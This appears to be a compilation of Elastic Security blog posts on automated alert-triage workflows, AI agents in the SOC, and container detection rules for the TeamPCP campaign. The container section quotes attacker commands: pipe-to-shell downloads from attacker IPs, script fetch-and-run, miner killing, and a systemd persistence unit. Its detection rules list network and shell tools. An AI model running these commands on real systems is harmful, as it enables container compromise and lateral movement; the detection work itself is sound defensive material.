            Confirmed malicious file detected on {{ event.alerts[0].host.name }}.

            **Detection:** {{ event.rule.name }}
            **User:** {{ event.alerts[0].user.name }}
            **VirusTotal:** {{ steps.check_virustotal.output.stats.malicious }} engines flagged this file
            **Related alerts (24h):** {{ steps.related_alerts.output.values[0][0] }} 
              alerts from {{ steps.related_alerts.output.values[0][1] | size }} rules
          owner: securitySolution
          severity: high
          tags:
            - automation
            - malware
          settings:
            syncAlerts: false
          connector:
            id: none
            name: none
            type: ".none"
            fields: null

      - name: notify_team
        type: slack
        connector-id: "security-alerts"
        with:
          message: |
            Malware confirmed on {{ event.alerts[0].host.name }}.
            VirusTotal: {{ steps.check_virustotal.output.stats.malicious }} detections.
            Case created: {{ steps.create_case.output.id }}

    else:
      - name: close_false_positive
        type: kibana.SetAlertsStatus
        with:
          status: closed
          reason: false_positive
          signal_ids:
            - "{{ event.alerts[0]._id }}"

That's the triage loop, automated. Alert fires, threat intel checked, context gathered, decision made, case created, team notified. Every execution is logged and auditable.

This is a starting point. The traditional-triage.yaml in the Elastic Workflows library on GitHub goes further: it isolates the host, looks up the on-call analyst, creates a dedicated Slack channel, assigns the case, and posts a rich incident summary. Same patterns, more steps.

Adding AI to the playbook

The workflow above handles a defined path. If the hash is malicious, do X; otherwise, do Y. That covers a lot of triage work. But not every alert fits a clean branching condition, and not every case description should be a list of raw fields.

Workflows include AI steps that handle the parts where structured logic runs out. There are three, and they work together.

Classify: let AI drive the branching

Instead of branching on a VirusTotal score threshold, use ai.classify to categorize the alert. It considers the full alert context, not just a single number:

  - name: classify_alert
    type: ai.classify
    with:
      input: "${{ event }}"
      categories:
        - malware
        - phishing
        - lateral_movement
        - data_exfiltration
        - false_positive
      instructions: |
        Classify this security alert based on the alert details,
        rule name, and affected entities.
      includeRationale: true

The output is structured: steps.classify_alert.output.category returns a single string like "malware" or "false_positive". That drives the if condition directly. The rationale explains why, and you can include it in the case for audit purposes.

Summarize: write case descriptions that adapt

Rather than templating raw field values into a case description, use ai.summarize to generate a readable overview. Run it once before case creation for the initial description, and once after the agent investigation to update the description with the full picture:

  - name: initial_summary
    type: ai.summarize
    with:
      input: "${{ event }}"
      instructions: |
        Write a one-paragraph overview of this security alert.
        State what was detected, on which host, by which user, and the severity.
        Do not include recommendations. Just the facts.
      maxLength: 300

The summary adapts to whatever fields are present on the alert, so you don't need to account for every possible field combination in your Liquid templates. Use steps.initial_summary.output.content in the case description and the Slack notification.

Agent: investigate what the playbook can't

The ai.agent step invokes an Agent Builder agent. Unlike classify and summarize, an agent has access to tools. It can query your indices, check threat intel, correlate signals across data sources, and reason about what it finds:

  - name: escalate_to_agent
    type: ai.agent
    agent-id: "security-agent"
    create-conversation: true
    with:
      message: |
        Investigate this alert. Search for related activity on this host,
        check for persistence mechanisms and lateral movement,
        and determine the full scope of the incident.
        Alert: {{ event | json }}
        Classification: {{ steps.classify_alert.output.category }}
        VirusTotal: {{ steps.check_virustotal.output | json }}
        Related alerts: {{ steps.related_alerts.output | json }}
    timeout: 10m

The agent processes the input, calls whatever tools it needs, and returns its findings. The workflow waits, then continues with the next steps: adding the investigation to the case, notifying the team, and updating the case description with a concise summary of what the agent found.

Setting create-conversation: true persists the conversation, so the workflow can fetch the agent's reasoning trail and add it to the case as a structured comment with clickable links to each query it ran. And the analyst gets a direct link to pick up the conversation with the agent if they want to dig deeper.

Putting it together

In the full version of this workflow, the three AI steps work in sequence:

1. Classify the alert to drive the triage decision
2. Summarize the alert for the initial case description and Slack notification
3. Agent investigates the full scope: persistence, lateral movement, IOCs, affected systems
4. Summarize again, this time distilling the agent's findings into a concise, updated case description

The case starts with a clean factual overview and evolves into a comprehensive summary as the investigation completes. The agent's full analysis and reasoning trail live as case comments for analysts who want the details.

The complete workflow, including the AI investigation pipeline with reasoning trails, clickable Discover links, and follow-up Slack notifications, is available in the Elastic Workflows library on GitHub.

Workflows as agent tools

The integration between Workflows and Agent Builder works in both directions. Workflows can call agents (as shown above). And agents can call workflows.

When you expose a workflow as a tool in Agent Builder, an agent can invoke it during a conversation. The agent decides what needs to happen, and the workflow handles the execution reliably and repeatably.

This is the pattern demonstrated in the Chrysalis APT blog post: a two-step workflow hands the entire Attack Discovery to an agent, and the agent calls workflow-backed tools to verify malware hashes, search logs, check the on-call schedule, create a case, and spin up a Slack channel. The workflow is the trigger and the safety net. The agent is the brain.

Agents reason. Workflows execute. Together they cover the full range from judgment to action.

Open by design

Not every team starts from zero. Some already have automation running in Tines, Splunk SOAR, Palo Alto XSOAR, or another platform. Workflows don't ask you to replace any of your existing tools.

The idea is straightforward: use Workflows for the parts of your automation that are native to Elastic. Alert triage, enrichment from your own indices, case management, and alert status updates. These touch your Elastic data directly, and a native workflow will always be simpler and faster than an external tool making API calls back into Elastic.

For everything else, connectors bridge the gap. We have native connectors for Tines, Resilient, Swimlane, TheHive, D3 Security, Torq, and XSOAR. A workflow can kick off a Tines story, push an incident to Resilient, or trigger any external system via HTTP. Your existing tools handle cross-platform orchestration. Workflows handle what's native. As the capability grows, you can consolidate at your own pace. Nobody's forcing a migration.

What's here and what's next

Workflows is available today. Here's what you can build with it today:

• Alert triggers connect workflows to detection and alerting rules
• Case and alert management through named Kibana steps (kibana.createCase, kibana.SetAlertsStatus, kibana.addCaseComment, and more)
• Direct data access via Elasticsearch search and ES|QL
• 39 workflow-compatible connectors covering threat intel (VirusTotal, AbuseIPDB, GreyNoise, Shodan, URLVoid, AlienVault OTX), ticketing (Jira, ServiceNow), communication (Slack, Teams, PagerDuty, email), SOAR platforms (Tines, Resilient, Swimlane, TheHive, and others), and AI providers
• AI steps for classification, summarization, prompts, and Agent Builder invoking Elastic Agents/Skils
• YAML authoring with autocomplete, validation, and step testing in Kibana
• 50+ example workflows on GitHub, including security-specific templates for detection, enrichment, and response

What's coming:

• Visual workflow builder for drag-and-drop authoring
• In-product template library to browse and install workflows directly in Kibana
• Human-in-the-loop approvals that pause workflows for human input via Slack, email, or the Kibana UI
• Natural language authoring where AI helps translate intent into working workflows

Today, authoring is YAML-based. If you've written detection rules or configured CI/CD pipelines, the learning curve is gentle. The editor has built-in autocomplete, validation, and step testing, and the example library gives you templates to start from. A visual builder is coming to make this accessible to a wider audience.

Get started

Elastic Workflows is available now. To start building:

1. Start an Elastic Cloud trial or enable Workflows in your existing deployment under Stack Management > Advanced Settings
2. Explore the Workflows documentation
3. Browse the Elastic Workflow Library on GitHub for security templates you can adapt
4. Read the introductory technical deep dive for core concepts
5. See the Chrysalis APT blog for a complete Attack Discovery + Workflows + Agent Builder walkthrough

Start with the workflow that would save you the most time tomorrow.

The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.

In simple terms, an Agentic SOC is a security operations center that has deployed AI Agents and corresponding AI Agent Skills to perform SOC-related workflows such as detection engineering, alert triage, incident investigation, escalation, response, and threat hunting. When these workflows are performed by AI agents, they’re often called “Agentic workflows.” These AI Agents and Skills may run natively in a security operations platform like SIEM, XDR, or security analytics, or they may be layered on top of legacy SIEM as an “AI SOC Agent” or “AI SOC analyst”, or they may even be run from an AI Coding Tool.

Regardless of how they are implemented, the shift to the Agentic SOC is not about AI replacing human analysts; it's about transforming how the SOC functions. To keep pace with rapidly evolving attackers, defenders must leverage AI and autonomous agents to respond as quickly as possible. At its core, an Agentic SOC is defined by how a security operations center uses AI and agents to protect against adversaries.

Let’s simplify a successful security operations center to three fundamental pillars, all of which the Agentic SOC significantly enhances:

1. Observe: The foundation of all security is centralized data—aggregating logs and events into one location, which is the core strength of a SIEM solution.
2. Detect: This involves deploying core protections like endpoint-based security (XDR, such as Elastic Defend) and security solution-focused detections (cloud, identity data). This technology drives the generation of high-quality alerts. Elastic, for example, ships over 1,700 pre-built rules for its SIEM by default, not including its XDR solution's endpoint rule library.
3. Act: This is the critical final stage of triaging, investigating, and acting on the generated alerts.

Agentic SOC in Action

Imagine this real-life scenario unfolding in your Security Operations Center using the Elastic security platform. It begins not with a siren, but with a simple, direct Slack notification. Building on our recent blog on Attack Discovery, Workflows, and Agent Builder, let's further examine how Elastic Security can help you respond to an active attack.

1. The Initial Alert and Immediate Action
   Your security analyst receives an urgent notification in their team channel. This message isn't just a heads-up; it points directly to an observed, active attack. Crucially, the Elastic Agentic SOC has already taken decisive, pre-emptive action: a vulnerable host has been isolated from the network to contain the threat and limit potential damage. This was all powered by Elastic Workflows and Elastic Agent Builder processing realtime alert and attack data from Elastic.
   
2. The Centralized Case
   The analyst's next step is a click away, moving from Slack directly to the centralized Case within Elastic that was created by the workflow. Elastic Case Management enables the SOC to coordinate the response and provides a single pane of glass into all aggregated critical information:

• Attack Summary: A high-level overview detailing what has occurred using Attack Discovery.

• Attached Alerts: The specific security alerts that triggered the initial observation.

• Observables: A list of suspicious artifacts (IP addresses, file hashes, domains, etc.) collected from the event.

• Attached Events: Non-alert events that, while not an alert themselves, provide critical context and are of further interest to the investigation.

  

3. Supporting the Investigation
   To support the immediate findings, detailed Investigations are attached directly to the Case. These searches allow the analyst to visually and contextually step through the sequence of events leading up to, during, and immediately following the attack.
   The Elastic Case also provides instant context by highlighting Similar cases. By cross-referencing observables, the system identifies previous incidents involving the same entities or artifacts, providing a deeper understanding of the threat actor's history and potential motives.
4. The Path to Resolution
   The agents don’t just catalog the past; it dictates the future. A clear set of Next steps and actions are outlined, with specific team members assigned for review and execution.

The analyst then steps through a methodical process reviewing the automated analysis:

1. Reviewing Findings: Scrutinizing all aggregated data, alerts, and investigations.
2. Evidence Collection: Collecting any additional forensic evidence needed for a complete analysis.
3. Remediation: Executing manual or automated actions, such as deleting malicious files or killing persistent processes on the isolated host with Elastic Defend.
4. Final Release: Eventually, the host is safely released back to the network, but not before additional, targeted rules or policies are automatically applied to prevent a recurrence based on the lessons learned from this incident.
   In the Agentic SOC, the analyst moves seamlessly from a high-level alert to a comprehensive investigation to full remediation—all within a unified, intelligent workflow powered by Elastic.

Elastic Security and Core SIEM Workflows

Before exploring advanced agentic workflows, it's essential to recognize that Elastic Security already provides a comprehensive suite of core capabilities crucial for modern security operations. This foundation begins with the ingestion of security-relevant data, which is automatically normalized to a common schema, ensuring consistency and ease of analysis. The platform offers Extended Detection and Response (XDR) capabilities via Elastic Defend, a robust detection engine built directly into the Elastic Stack, and sophisticated alert workflows that include built-in correlations to reduce noise and surface true threats.

Elastic Security further differentiates itself by tightly integrating key operational functions. This includes entity-based threat hunting, machine learning for anomaly detection and behavior analysis, and comprehensive case management for tracking incidents. Finally, the platform provides end-to-end response and forensic capabilities, enabling security teams to move swiftly from initial alert to investigation and remediation, all within a unified, scalable platform.

Empowering Analysts with Agentic Capabilities

AI-Powered Alert Triage and Prioritization

The Elastic Security Solution integrates AI capabilities via Agent Builder to augment and make SOC operations truly agentic. This is where efficiency improvements are most keenly felt:

• Conversational Triage: A built-in agent is readily available to Tier 1/2 analysts, allowing them to use conversational commands to query and prioritize open alerts (e.g., "What priority alerts should I review from the last 30 days?"). This is the first entry point for using AI to augment SOC operations.
• LLM Agnostic Platform: A key differentiating feature of Elastic's Agent Builder is that it is LLM agnostic, allowing organizations to pick their preferred model, even locally running models for privacy or regulatory reasons.
• Attack Discovery: This premier feature moves beyond basic triage. It uses LLM configurations to create higher-order attack detections, taking hundreds of open alerts and prioritizing them into a small, manageable subset of known attacks or incidents. This dramatically reduces the impact of alert fatigue.

Enriched Investigations

Once an attack or incident is found, the agent helps start the investigation:

• Summarization and Enrichment: The agent can be used to summarize the attack, identify important artifacts, and conduct automated third-party enrichments (like checking VirusTotal). This tailored experience provides a full assessment, including an attack chain, threat intelligence information, related cases, entity risk scoring, and a full investigation guide.
• Case Management: The agent can be instructed to take immediate action, such as generating a security case and notifying the team in Slack, all through simple conversational commands that execute pre-configured workflows.

Automated Response and Threat Hunting

The true power of the Agentic SOC is realized through action and automation that goes beyond simple conversation:

• Workflows and SOAR-like Automation: Agents can reference and execute Workflows, Elastic's SOAR-like automation tool. These workflows allow analysts to take immediate, complex actions. For example, a command like "Please create a case for this attack, and notify my team in Slack" triggers multiple, pre-defined steps. Further critical response actions, such as isolating a host, can be executed with a single workflow action while the investigation continues.

• AI-Assisted Threat Hunting: AI assists threat hunters by leveraging Entity Analytics and pre-built skills. The agent can be asked to find high-risk hosts and users to begin hunting, and then automatically generate specific ESQL queries (e.g., "Please tell me the most uncommon processes executed for each host") to uncover unusual or malicious activity.

  

The Mandate of Automation

For maximum effectiveness, all these steps,from alert triage and enrichment to case creation and host isolation,can be configured to run automatically as an Agentic Alert Triage workflow. This allows the system to solve problems as soon as they are discovered, setting up the human analyst in the loop with a consolidated case and all the necessary findings in a single pane of glass.

This approach delivers substantial efficiency improvements, making speed the single most important factor in a modern, Agentic SOC.

Elastic’s Agentic Security Operations Platform

Whether you use our UI, our agents, or your own, Elastic Security provides a strong open foundation for modern security operations. best-in-class data architecture, search, workflows, analytics, detection engineering content, and automation.

Getting started

Before you get started: AI coding agents operate with real credentials, real shell access, and often the full permissions of the user running them. When those agents are pointed at security workflows, the stakes are higher: you're handing an automated system access to detection logic, response actions, and sensitive telemetry. Every organization's risk profile is different. Before enabling AI-driven security workflows, evaluate what data the agent can access, what actions it can take, and what happens if it behaves unexpectedly

Don't have an Elasticsearch cluster yet? Start an Elastic Cloud free trial. It takes about a minute to get a fully configured environment.

The landscape of cybersecurity is evolving, and the role of the Detection Engineer (DE) is more critical and demanding than ever. Traditionally, this role involves a comprehensive, end-to-end workflow: from threat modeling and telemetry tuning to writing, testing, and maintaining performance-optimized detection rules to flag malicious behavior.

Elastic Security is purpose-built to streamline this entire workflow, empowering DEs - and anyone involved in security operations - to build, manage, and optimize detection rules at scale. This allows security teams to concentrate their efforts on the most critical task: protecting the organization.

The rise of generative AI and, more specifically, advanced AI coding agents like Claude and Cursor, is fundamentally changing and supercharging this workflow. These tools are no longer just for general software development; they are becoming expert partners for the Security Operations Center (SOC). By integrating the power of conversational AI, these agents can take high-level security requirements and instantly translate them into validated, workable detection logic.

From Generalist to Elastic Expert: Agent Skills

Elastic Security is embracing this shift not only by having native AI capabilities built-into our agentic security operations platform , but also by open-sourcing agent skills for 3rd party agentic IDEs, a native platform experience for the entire Elastic ecosystem (Security, Observability, etc.). By loading these skills into any agent runtime, your AI assistant moves from being a generalist to an on-demand expert in Elastic’s tooling. You can then ask your agent to triage alerts or, in this context, expertly create and tune detection rules

A Use Case Walkthrough: The Notepad++ Attack

To illustrate the agent’s power, let’s look at a real-world supply chain-based attack involving a backdoor targeting the Notepad++ infrastructure described in Elastic Security Lab’s blog, “Speeding APT Attack”.

Instant Conditional Rules

A detection engineer’s first step is often to create conditional rules based on known Indicators of Compromise (IOCs). To begin, we can instruct the agent to investigate data within Elastic Security, as evidence of the attack was present in our cluster.

"Can you help me create a detection rule that will detect malicious activity similar
 to what I'm seeing in my Elastic Security deployment involving notepad++.exe 
 and BluetoothService.exe?"

The agent immediately went to work:

• It rapidly found process lineage and documented attack details.
• It extracted key IOCs and found the corresponding MITRE ATT&CK™ mappings.
• It generated two foundational rules: one for a suspicious child process spawned by Notepad++, and one focusing on the masqueraded executable.
• Crucially, the rules were immediately tested against threat emulation data, confirming multiple successful hits.

Each step is happening quickly, and the built-in validation significantly accelerates the 'test and tune' phase.

Let’s take a look at the agent-created rule in Elastic Security:

Diving into Advanced ESQL Aggregation

Conditional logic is great, but modern threats require more behavioral and entity-focused detections. Using Elastic’s powerful piping language, ES|QL (Elastic Search Query Language), the agent was challenged to create an aggregation-based rule that looks for generic, suspicious characteristics across tasks, aggregates them, and assigns a dynamic risk score to host and user entities.

The agent delivered, creating an advanced query that looks for suspicious executables, negates benign directories, and assesses scores based on the activity's risk level. This demonstrates the agent's ability to create sophisticated detections unique to Elastic's capabilities, moving beyond simple lookups to complex entity analytics.

Here’s the rule in Elastic Security:

Sequential Detections with EQL and Suppression

To detect multi-stage attacks, a sequential rule is essential—if Event A, then Event B, then Event C, then alert. Using the Event Query Language (EQL), the agent crafted a perfect three-stage sequence for the attack:

1. Unsigned dropper activity.
2. Service masquerade (implant deployed).
3. Final execution for persistence.

To make the rule more reliable and reduce noise, suppression logic was then added, focusing on limiting alerts per unique Host ID. This quick iteration shows how an agent can help a detection engineer rapidly move from a basic detection to a highly robust, multi-stage rule.

The LLM-Augmented Query: Summaries in the Alert

The ultimate demonstration of the new agentic workflow is using Elastic’s ESQL COMPLETION syntax. This feature allows an inference model to be referenced directly within the query.

The prompt asked the agent to:

Based off this recent elastic blog,
 https://www.elastic.co/security-labs/beyond-behaviors-ai-augmented-detection-engineering-with-esql-completion, 
 create a rule that incorporates a COMPLETION command with my  default inference 
 model that will summarize findings from attack into one "esql.summary"

The result? The generated rule didn't just fire an alert; it natively included an ES|QL summary row in the alert itself:

This telemetry shows a masquerading technique where a process named "BluetoothService.exe" is executing from a user's AppData directory with a PE original name of "BDSubWiz.exe" (a legitimate file mismatch), running as SYSTEM with service-like characteristics including spawning from services.exe, indicating persistence establishment (MITRE ATT&CK T1036.004 Masquerading and T1543 Service Persistence). The executable's location in a user directory, combined with SYSTEM-level execution, service persistence indicators, and the name/PE mismatch across multiple events, suggests Defense Evasion and Persistence stages. This represents high severity due to successful SYSTEM-level persistence with active defense evasion through masquerading.

This cuts triage time dramatically, as analysts no longer need to pivot to a separate runbook to understand the context and severity of the alert.

The Agentic SOC is Here

The collaboration between AI agents and the Elastic Security solution provides a glimpse into Elastic’s Agentic SOC of the future. It’s a world where detection engineers can have a conversation, define their intent, and instantly generate, test, and deploy highly sophisticated, context-rich detection rules. This is not about replacing the human expert, but about augmenting their knowledge and accelerating their workflow, allowing them to focus on high-value threat intelligence and modeling.

Getting started

Before you get started: AI coding agents operate with real credentials, real shell access, and often the full permissions of the user running them. When those agents are pointed at security workflows, the stakes are higher: you're handing an automated system access to detection logic, response actions, and sensitive telemetry. Every organization's risk profile is different. Before enabling AI-driven security workflows, evaluate what data the agent can access, what actions it can take, and what happens if it behaves unexpectedly

Don't have an Elasticsearch cluster yet? Start an Elastic Cloud free trial. It takes about a minute to get a fully configured environment.

In the previous article, we examined how Defend for Containers (D4C) is deployed, how its policy model operates, and how its runtime telemetry is structured. With that foundation in place, the next step is to move from configuration and field analysis to applied detection engineering.

This post walks through a realistic container attack scenario based on the TeamPCP cloud-native ransomware operation, as documented by Flare. Rather than analyzing isolated techniques in abstraction, we follow the attack as it unfolds inside a containerized environment and examine how each stage manifests in D4C telemetry.

When mapped to MITRE ATT&CK, the activity in this scenario spans nearly the entire attack lifecycle. The intrusion progresses from execution and discovery inside the container to persistence, lateral movement, command-and-control activity, and ultimately impact.

By mapping these behaviors to concrete detection logic, this article demonstrates how D4C enables detection engineers to identify container compromise not as isolated suspicious commands, but as part of a structured attack chain.

TeamPCP - an emerging force in the cloud native and ransomware landscape

This scenario walks through the container compromise and propagation stage of the TeamPCP cloud-native ransomware operation, recently researched and documented by Flare. Rather than treating this as an abstract case study, the flow below mirrors how the attack plays out in practice and shows how D4C telemetry and pre-built detections surface each stage of the intrusion.

At a high level, the threat actor’s objectives in this stage are:

1. Gain interactive code execution inside a container
2. Determine whether the workload runs in Kubernetes
3. Establish durable execution and persistence
4. Propagate laterally across pods and nodes
5. Prepare the environment for large-scale monetization (mining, ransomware, or resale)

Each of these goals leaves behind observable runtime behavior that D4C is well-positioned to detect.

Stage 1 – Initial execution via download and pipe-to-shell

The attack begins with a familiar but effective technique: downloading and immediately executing a script via a shell pipeline.

curl -fsSL http://67.217.57[.]240:666/files/proxy.sh | bash

The intent here is to gain immediate execution while avoiding file creation. This is a classic tradecraft choice: no payload written to disk, no obvious artifact to scan.

From D4C's perspective, this still results in a highly suspicious runtime pattern. An interactive curl process executes inside a container and immediately spawns a shell interpreter. The parent–child relationship, command line, and container context are all captured.

sequence by process.parent.entity_id, container.id with maxspan=1s
  [process where event.type == "start" and event.action == "exec" and 
   process.name in ("curl", "wget")]
  [process where event.action in ("exec", "end") and
   process.name like (
     "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox",
     "python*", "perl*", "ruby*", "lua*", "php*"
   ) and
   process.args like (
     "-bash", "-dash", "-sh", "-tcsh", "-csh", "-zsh", "-ksh", "-fish",
     "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish",
     "/bin/bash", "/bin/dash", "/bin/sh", "/bin/tcsh", "/bin/csh",
     "/bin/zsh", "/bin/ksh", "/bin/fish",
     "/usr/bin/bash", "/usr/bin/dash", "/usr/bin/sh", "/usr/bin/tcsh",
     "/usr/bin/csh", "/usr/bin/zsh", "/usr/bin/ksh", "/usr/bin/fish",
     "-busybox", "busybox", "/bin/busybox", "/usr/bin/busybox",
     "*python*", "*perl*", "*ruby*", "*lua*", "*php*", "/dev/fd/*"
   )]

This rule detects the download → interpreter execution pattern, even when no file is written to disk. Detecting this step is critical, as it is the first reliable indicator of hands-on-keyboard activity within a container.

Upon execution, TeamPCP scans the target system for competing mining processes and uses the pkill command to terminate them.

pkill -9 xmrig 2>/dev/null || true
pkill -9 XMRig 2>/dev/null || true
curl -fsSL http://update.aegis.aliyun.com/download/uninstall.sh | bash 2>/dev/null || true

The competitor-killing logic from TeamPCP is very limited in comparison to its competitors, focusing only on xmrig. Manual process killing in containers is uncommon, especially when done via interactive processes.

process where event.type == "start" and event.action == "exec" and
container.id like "*?" and 
(
  process.name in ("kill", "pkill", "killall") or
  (
    /*
       Account for tools that execute utilities as a subprocess,
       in this case the target utility name will appear as a process arg
    */
    process.name in (
      "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox"
    ) and
    process.args in (
      "kill", "/bin/kill", "/usr/bin/kill", "/usr/local/bin/kill",
      "pkill", "/bin/pkill", "/usr/bin/pkill", "/usr/local/bin/pkill",
      "killall", "/bin/killall", "/usr/bin/killall", "/usr/local/bin/killall"
    )
  )
)

The detection rules that triggered in this stage are available here:

• Payload Execution via Shell Pipe Detected by Defend for Containers
• Process Killing Detected via Defend for Containers

Resulting in the following detection alerts upon initial access:

Stage 2 – Kubernetes environment discovery

After gaining execution, the attacker checks whether the container is running inside Kubernetes by testing for a service account token:

if [ -f /var/run/secrets/kubernetes.io/serviceaccount/token ]

This check determines whether the attack can expand beyond the current container. If the token exists, the attacker proceeds to abuse the Kubernetes API. Additionally, the dropped scripts enumerate environment variables and several sensitive file locations, triggering numerous discovery-related alerts.

The detection rules that triggered in this stage are available here:

• Service Account Namespace Read Detected via Defend for Containers
• Environment Variable Enumeration Detected via Defend for Containers
• Service Account Token or Certificate Read Detected via Defend for Containers

Resulting in the following detection alerts upon discovery:

Stage 3 – Lateral movement via kube.py

When a service account token is present, the attacker downloads and executes a Python script designed to enumerate pods and execute commands across the cluster:

curl -fsSL http://44.252.85[.]168:666/files/kube.py -o /tmp/k8s.py
python3 /tmp/k8s.py

At this point, the attacker’s goal is clear: turn a single compromised container into a foothold for cluster-wide propagation using legitimate Kubernetes APIs.

D4C detects this stage through a combination of file and process telemetry. A script is written to a temporary directory and executed immediately via an interpreter, all within an interactive container session.

Detecting an interactive curl command that pulls a file from a remote source is a strong detection signal for stale container workloads.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (
    (process.name == "curl" or process.args in (
      "curl", "/bin/curl", "/usr/bin/curl", "/usr/local/bin/curl"
    )
  ) and
    process.args in (
      "-o", "-O", "--output", "--remote-name",
      "--remote-name-all", "--output-dir"
    )
  ) or
  (
    (process.name == "wget" or process.args in (
      "wget", "/bin/wget", "/usr/bin/wget", "/usr/local/bin/wget"
    )
  ) and
  process.args like ("-*O*", "--output-document=*", "--output-file=*")
  )
) and (
 process.args like~ "*http*" or
 process.args regex ".*[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}[:/]{1}.*"
) and container.id like "?*"

The detection rule above detects the remote file download, but we can go one step further by detecting a sequence for file creation, followed by its execution within the same container context:

sequence by container.id, user.id with maxspan=3s
  [file where host.os.type == "linux" and event.type == "creation" and 
   process.interactive == true and container.id like "?*" and
   file.path like (
     "/tmp/*", "/var/tmp/*", "/dev/shm/*", "/root/*", "/home/*"
   ) and
   not process.name in (
     "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf", "apk",   
     "pacman", "rpm", "dpkg"
   )] by file.path
  [process where host.os.type == "linux" and event.type == "start" and 
   event.action == "exec" and process.interactive == true and
   container.id like "?*"] by process.executable

Here, we focus on interactive processes while excluding files created by package managers, since we expect those to be present in typical workloads.

The detection rules that triggered in this stage are available here:

• File Creation and Execution Detected via Defend for Containers
• File Download Detected via Defend for Containers

Resulting in the following detection alerts upon lateral movement:

Stage 4 – Establishing persistence via Systemd

Persistence mechanisms such as systemd services are generally illogical in container environments. Most containers are designed to be short-lived, single-process workloads that rely on the container runtime or orchestrator for lifecycle management. They typically do not run a full init system, and even when systemd is present, changes made inside the container rarely survive redeployment, rescheduling, or image rebuilds.

As a result, attempts to establish persistence via systemd from within a container are a strong indicator of an anomaly. They often indicate one of two things: either the container is running with elevated privileges and access to the host filesystem, or the attacker expects to escape the container boundary and have their persistence mechanism take effect at the node level.

In the TeamPCP campaign, the attacker attempts to establish persistence by creating a systemd service:

cat>/etc/systemd/system/teampcp-react.service<<SVCEOF
[Unit]
Description=PCPcat React Scanner
After=network.target
[Service]
Type=simple
WorkingDirectory=${dir}
ExecStart=/usr/bin/python3 ${dir}/react.py
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
SVCEOF

This action is not consistent with normal container behavior. Writing systemd unit files from inside a container suggests an intent to persist beyond the container lifecycle, which is only meaningful if the underlying host is affected.

D4C captures this behavior as file creation activity in sensitive system locations originating from a container context. The following detection logic looks for write-oriented file activity in common Linux persistence paths, including systemd services, timers, cron jobs, sudoers files, and shell profile modifications:

file where event.type != "deletion" and
/* open events currently only log file opens with write intent */
event.action in ("creation", "rename", "open") and (
  file.path like (
    // Cron & Anacron Jobs
    "/etc/cron.allow", "/etc/cron.deny", "/etc/cron.d/*",
    "/etc/cron.hourly/*", "/etc/cron.daily/*", "/etc/cron.weekly/*", 
    "/etc/cron.monthly/*", "/etc/crontab", "/var/spool/cron/crontabs/*", 
    "/var/spool/anacron/*",

    // At Job
    "/var/spool/cron/atjobs/*", "/var/spool/atjobs/*",

    // Sudoers
    "/etc/sudoers*"
  ) or
  (
    // Systemd Service/Timer
    file.path like (
      "/etc/systemd/system/*", "/etc/systemd/user/*",
      "/usr/local/lib/systemd/system/*", "/lib/systemd/system/*", 
      "/usr/lib/systemd/system/*", "/usr/lib/systemd/user/*",
      "/home/*/.config/systemd/user/*", "/home/*/.local/share/systemd/user/*",
      "/root/.config/systemd/user/*", "/root/.local/share/systemd/user/*"
    ) and
    file.extension in ("service", "timer")
  ) or
  (
    // Shell Profile Configuration
    file.path like ("/etc/profile.d/*", "/etc/zsh/*") or (
      file.path like ("/home/*/*", "/etc/*", "/root/*") and
      file.name in (
  	 "profile", "bash.bashrc", "bash.bash_logout", "csh.cshrc",
        "csh.login", "config.fish", "ksh.kshrc", ".bashrc",
        ".bash_login", ".bash_logout", ".bash_profile", ".bash_aliases", 
        ".zprofile", ".zshrc", ".cshrc", ".login", ".logout", ".kshrc"
      )
    )
  )
) and container.id like "?*" and
not process.name in (
  "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf",
  "apk", "pacman", "rpm", "dpkg"
)

This detection does not focus solely on systemd. Instead, it models persistence more broadly by covering multiple common Linux persistence vectors that attackers may attempt once code execution is achieved. By explicitly excluding package managers, the rule reduces noise from legitimate update and installation activity.

The detection rule that triggered in this stage is available here:

• Modification of Persistence Relevant Files Detected via Defend for Containers

Resulting in the following detection alerts upon persistence:

When this detection fires in a container context, it is a strong indicator of post-compromise behavior with potential host-level impact. It highlights activity that is not only suspicious but also structurally incompatible with how containers are expected to behave.

Stage 5 – Installing tooling at runtime

In Docker-based deployments, the attacker installs required tooling dynamically:

apk add --no-cache curl bash python3

This allows the same payload to run across different base images without modification.

From a defender’s perspective, runtime package installation inside a container is a strong indicator of post-deployment tampering. D4C detects this through process execution telemetry tied to known package managers.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (
    process.name in (
      "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf"
    ) and process.args == "install"
  ) or
  (process.name == "apk" and process.args == "add") or
  (process.name == "pacman" and process.args like "-*S*") or
  (process.name in ("rpm", "dpkg") and process.args in ("-i", "--install"))
) and
process.args like (
  "curl", "wget", "socat", "busybox", "openssl", "torsocks",
  "netcat", "netcat-openbsd", "netcat-traditional", "ncat", "tor",
  "python*", "perl", "node", "nodejs", "ruby", "lua", "bash", "sh",
  "dash", "zsh", "fish", "tcsh", "csh", "ksh"
) and container.id like "?*"

Not all package installations in containers are malicious. Upon orchestration, containers need to install certain packages to run. However, because threat actors often use package managers to install their required tooling, this is a strong signal for already-deployed container runtimes.

The detection rule that triggered in this stage is available here:

• Tool Installation Detected via Defend for Containers

Resulting in the following detection alerts upon tool installation:

Stage 6 – Establishing tunneling and proxy access

Once stable execution and persistence are in place, TeamPCP shifts focus from access to connectivity. At this stage, the attackers deploy tunneling and proxy tooling such as frps and gost to expose internal services and maintain reliable external access.

The purpose of this step is to convert compromised containers into reusable infrastructure. By establishing tunnels or forwarders, the attackers can pivot into other environments, relay traffic, or reuse the compromised workload as part of a larger attack chain.

D4C detects this activity through process execution telemetry. The execution of known tunneling tools inside containers is uncommon for legitimate workloads and stands out clearly when combined with interactive execution and container context.

process where event.type == "start" and event.action == "exec" and (
  (
    // Tunneling and/or Port Forwarding via process args
